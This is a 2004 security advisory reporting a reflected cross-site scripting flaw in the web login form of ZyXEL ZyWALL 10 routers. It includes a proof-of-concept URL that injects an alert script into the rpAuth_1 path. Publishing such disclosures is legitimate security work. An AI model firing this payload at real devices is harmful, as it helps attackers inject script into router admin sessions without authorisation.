<<< Date Index >>>     <<< Thread Index >>>

ZyXEL10 OF ZyWALL Series Router Cross Site Scripting Vulnerabillity



#######################################################################

Device:            ZyXEL10 OF ZyWALL Series Router
Software:         RomPager/4.07 UPnP/1.0
Vendor:           http://www.zyxel.com
Versions:        4.07
Platforms:       Windows
Bug:               Cross Site Scripting Vulnerabillity
Risk:              Low
Exploitation:    Remote with browser
Date:               6 Jan 2004
Author:            Rafel Ivgi, The-Insider
e-mail:             the_insider@xxxxxxxx
web:                http://theinsider.deep-ice.com

#######################################################################

1) Introduction
2) Bug
3) The Code

#######################################################################

===============
1) Introduction
===============

ZyXEL10 is a high quality VPN router. the ZyWALL 10 offers a powerful
firewall capability,
including Stateful Packet Inspection and Anti Denial of Service (D.o.S).
Device Details:
http://www.zyxel.com/product/model.php?indexcate=1022044503&indexFlagvalue=1
021873683

#######################################################################

======
2) Bug
======

The Vulnerabillity is Cross Site Scripting type. If an attacker will request
the followingurl from the server
http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</sc
ript>
XSS appears and the server allows an attacker to inject & execute scripts.

#######################################################################

===========
3) The Code
===========

http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</sc
ript>

#######################################################################

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."